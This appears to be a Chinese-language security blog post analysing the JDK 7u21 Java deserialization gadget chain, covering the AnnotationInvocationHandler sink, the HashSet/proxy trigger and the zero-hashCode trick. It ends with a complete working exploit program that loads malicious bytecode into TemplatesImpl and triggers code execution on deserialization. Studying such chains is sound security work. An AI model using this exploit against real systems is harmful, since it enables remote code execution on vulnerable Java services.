1. 1. 前言
  2. 2. 环境配置
  3. 3. Sink位置
  4. 4. 寻找调用链
  5. 5. 构造相等哈希值的不同对象
  6. 6. EXP

前言

由于macbook ARM架构没有对应的JDK7,所以对JDK_7u21JDK原生利用链的分析推迟了,返校后用windows补上。

环境配置

JDK_7u21源码地址:https://hg.openjdk.org/jdk7u/jdk7u/jdk/rev/6a37e5210ac3

IDEA中的SDK配置参考之前Commons-Collections1分析的那篇文章:https://kagty1.github.io/2025/02/05/CC1%E9%93%BE%E5%88%86%E6%9E%90/

Sink位置

JDK_7u21链的sink点为sun.reflect.annotation.AnnotationInvocationHandler#equalsImplequalsImpl方法中调用了memberMethod.invoke(o),而memberMethod通过getMemberMethods()被遍历赋值为type类中的所有自定义方法。

image-20250301092603017

image-20250301092656260

typeTemplatesImpl类时,通过调用equalsImpl方法便可调用getOutProperties方法,实现代码执行。

寻找调用链

现在寻找能够触发equalsImpl方法的链子。equalsImpl方法在sun.reflect.annotation.AnnotationInvocationHandler#invoke中被调用,首先可以想到使用动态代理触发invoke,进而调用equalsImpl。跟进invoke方法查看equalsImpl的触发条件

image-20250301093359905

需要满足动态代理对象proxy的调用方法必须为equals

众所周知HashSet是一种用来去重的数据结构, 通过将对象保存在HashMapKey处来做去重,HashSet.readObject方法如下所示

image-20250301094405898

跟进map.put方法,查看其去重的逻辑,发现其调用了equals方法

image-20250301094621052

if语句中的调用顺序如下

image-20250301094814174

故触发equals的条件是两个不同对象的哈希值相等。故接下来让proxy对象的哈希值等于TemplatesImpl对象的哈希值即可。

构造相等哈希值的不同对象

java.util.HashMap#put中的哈希值计算使用int hash = hash(key);,跟进hash方法,它会调用Key.hashCode方法

image-20250301100753675

但这将会触发动态代理,调用sun.reflect.annotation.AnnotationInvocationHandler#invoke,进而触发hashCodeImpl方法

image-20250301100902898

跟进hashCodeImpl方法,使用(127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue())来计算hashCode并返回

image-20250301101206859

这个计算方法产生了利用点,0^x = x(x为任意值),只要让memberValuesKey为某个hashCode值为0的字符串,valueTemplatesImpl对象,这样它返回的值恒为TemplatesImpl对象的hashCode。这样整条链子就齐了。

引用P神《Java安全漫谈》中的代码跑出hashCode值为0的字符串

1
2
3
4
5
6
7
8
public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}

字符串为f5a5a608

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK_7u21 {
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static TemplatesImpl getEvilTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] byteCode = Files.readAllBytes(Paths.get("C:\\Users\\lenovo\\Desktop\\JavaSec\\JDK7u21\\target\\classes\\com\\xxxx\\Evil.class"));
byte[][] byteCodes = {byteCode};
setFieldValue(templates, "_bytecodes", byteCodes);
setFieldValue(templates, "_name", "KaGty1");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}



public static void main(String[] args) throws Exception{
TemplatesImpl templates = getEvilTemplates();

//实例化构造AnnotationInvocationHandler对象
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, templates);

// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK_7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}